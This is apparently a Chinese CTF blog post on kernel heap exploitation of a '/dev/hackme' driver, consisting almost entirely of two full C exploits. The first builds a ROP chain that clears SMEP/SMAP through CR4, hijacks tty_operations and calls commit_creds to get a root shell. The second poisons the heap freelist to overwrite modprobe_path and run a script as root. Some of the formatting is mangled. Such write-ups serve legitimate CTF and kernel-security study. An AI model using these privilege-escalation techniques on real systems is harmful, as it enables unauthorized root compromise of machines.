kernel heap bypass smep,smap && 劫持modprobe_path


kernel heap bypass smep,smap && 劫持modprobe_path

exp1

smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位)。
smap:smap用户数据不可访问。

通过控制cr4寄存器为0x6f0即可绕过。

#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h>  size_t vmlinux_base, off, commit_creds, prepare_kernel_cred; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; size_t rop[0x100] = {0};  int fd;  struct Heap{     size_t index;     char *data;     size_t len;     size_t offset; };  void add(int index, size_t len, char *data) { 	struct Heap heap; 	heap.index = index; 	heap.data = data; 	heap.len = len; 	ioctl(fd, 0x30000, &heap); }  void delete(int index) { 	struct Heap heap; 	heap.index = index; 	ioctl(fd, 0x30001, &heap); }  void edit(int index, size_t len, size_t offset, char *data) { 	struct Heap heap; 	heap.index = index; 	heap.data = data; 	heap.len = len; 	heap.offset = offset; 	ioctl(fd, 0x30002, &heap); }  void show(int index, size_t len, size_t offset, char *data) { 	struct Heap heap; 	heap.index = index; 	heap.data = data; 	heap.len = len; 	heap.offset = offset; 	ioctl(fd, 0x30003, &heap); }   void save_status() { 	__asm__( 	"mov user_cs, cs;" 	"mov user_ss, ss;" 	"mov user_sp, rsp;" 	"pushf;" 	"pop user_rflags;" 	); 	puts("[+] save the state success!"); }  void get_shell() { 	if (getuid() == 0) 	{ 		puts("[*] get root"); 		system("/bin/sh"); 	} 	else 	{ 		puts("[-] get root error"); 		sleep(3); 		exit(0); 	} }  void get_root() { 	//commit_creds(prepare_kernel_cred(0)) 	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred; 	void (*cc)(void *) = (void (*)(void *))commit_creds; 	(*cc)((*pkc)(0)); }   int main() { 	save_status();  	char buf[0x1000] = {0}; 	size_t fake_tty_struct[4] = {0}; 	size_t fake_tty_operations[35] = {0};  	fd = open("/dev/hackme",0); 	if(fd < 0) 	{ 		puts("[-] open file error"); 		sleep(3); 		exit(0); 	}  	add(0, 0x2e0, buf); // 0 	add(1, 0x2e0, buf); // 1 	add(2, 0x100, buf); // 2 	add(3, 0x100, buf); // 3 	delete(0); 	delete(2);  	show(3, 0x100, -0x100, buf); 	size_t heap_addr = ((size_t *)buf)[0] - 0x200; 	printf("[+] heap_addr=> 0x%lxn", heap_addr); 	 	int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY); 	if(fd_tty < 0) 	{ 		puts("[-] open ptmx error"); 		sleep(3); 		exit(0); 	} 	 	show(1, 0x400, -0x400, buf); 	vmlinux_base = ((size_t *)buf)[3] - 0x625d80; 	printf("[+] vmlinux_base=> 0x%lxn", vmlinux_base); 	off = vmlinux_base - raw_vmlinux_base; 	commit_creds = off + 0xffffffff8104d220; 	prepare_kernel_cred = off + 0xffffffff8104d3d0;  	int i = 0; 	rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret; 	rop[i++] = 0x6f0; 	rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret; 	rop[i++] = 0; 	rop[i++] = (size_t)get_root; 	rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;  	rop[i++] = 0; 	rop[i++] = 0; 	rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret; 	rop[i++] = (size_t)get_shell; 	rop[i++] = user_cs; 	rop[i++] = user_rflags; 	rop[i++] = user_sp; 	rop[i++] = user_ss; 	 	add(2, 0x100, (char *)rop); 	 	fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret;  	fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret; 	fake_tty_operations[1] = heap_addr;  	((size_t *)buf)[3] = heap_addr + 0x100; 	 	delete(3); 	add(3, 0x100, (char *)fake_tty_operations);  	edit(1, 0x400, -0x400, buf);  	write(fd_tty, "FXC", 3); 	return 0; } 

exp2

mod_tree:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。

modprobe_path:当我们执行一个非法文件时,就会以root权限去执行modprobe_path所指向的文件,通常是指向/sbin/modprobe,如果改成我们创建的cat flag的文件,那么就可以拿到flag

#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h>  int fd; size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;  struct Heap{     size_t index;     char *data;     size_t len;     size_t offset; };  void add(int index, size_t len, char *data) { 	struct Heap heap; 	heap.index = index; 	heap.data = data; 	heap.len = len; 	ioctl(fd, 0x30000, &heap); }  void delete(int index) { 	struct Heap heap; 	heap.index = index; 	ioctl(fd, 0x30001, &heap); }  void edit(int index, size_t len, size_t offset, char *data) { 	struct Heap heap; 	heap.index = index; 	heap.data = data; 	heap.len = len; 	heap.offset = offset; 	ioctl(fd, 0x30002, &heap); }  void show(int index, size_t len, size_t offset, char *data) { 	struct Heap heap; 	heap.index = index; 	heap.data = data; 	heap.len = len; 	heap.offset = offset; 	ioctl(fd, 0x30003, &heap); }  void get_flag() { 	puts("[+] Prepare shell file."); 	system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /shell.sh"); 	system("chmod +x /shell.sh"); 	 	puts("[+] Prepare trigger file."); 	system("echo -ne '\xff\xff\xff\xff' > /FXC"); 	system("chmod +x /FXC"); 	 	system("cat /proc/sys/kernel/modprobe"); 	system("/FXC"); 	system("cat /flag"); 	 	sleep(5); }  int main() { 	fd = open("/dev/hackme",0); 	if(fd < 0) 	{ 		puts("[-] open file error"); 		sleep(3); 		exit(0); 	}  	char buf[0x1000] = {0}; 	 	add(0, 0x100, buf); // 0 	add(1, 0x100, buf); // 1 	add(2, 0x100, buf); // 2 	add(3, 0x100, buf); // 3 	add(4, 0x100, buf); // 4  	delete(1); 	delete(3);  	show(4, 0x100, -0x100, buf); 	heap_base = ((size_t *)buf)[0] - 0x100; 	printf("[+] heap_addr=> 0x%lxn", heap_base);  	show(0, 0x200, -0x200, buf); 	vmlinux_base = ((size_t *)buf)[0] - 0x8472c0; 	printf("[+] vmlinux_base=> 0x%lxn", vmlinux_base); 	mod_tree = vmlinux_base + 0x811000; 	modprobe_path = vmlinux_base + 0x83f960; 	 	memset(buf,'x00',0x100); 	((size_t  *)buf)[0] = mod_tree + 0x40; 	edit(4, 0x100, -0x100, buf); 	 	add(5, 0x100, buf); // 5 	add(6, 0x100, buf); // 6  	show(6, 0x40, -0x40, buf); 	ko_base = ((size_t *)buf)[3]; 	printf("[+] ko_base=> 0x%lxn", ko_base);  	delete(2); 	delete(5);  	getchar(); 	((size_t  *)buf)[0] = ko_base + 0x2400 + 0xc0; 	edit(4, 0x100, -0x100, buf);  	add(7, 0x100, buf); // 7 	add(8, 0x100, buf); // 8  	((size_t  *)buf)[0] = modprobe_path; 	((size_t  *)buf)[1] = 0x100; 	edit(8, 0x10, 0, buf);  	strncpy(buf, "/shell.shx00", 0xa); 	edit(12, 0xa, 0, buf);  	get_flag(); 	return 0; } 
发表评论

相关文章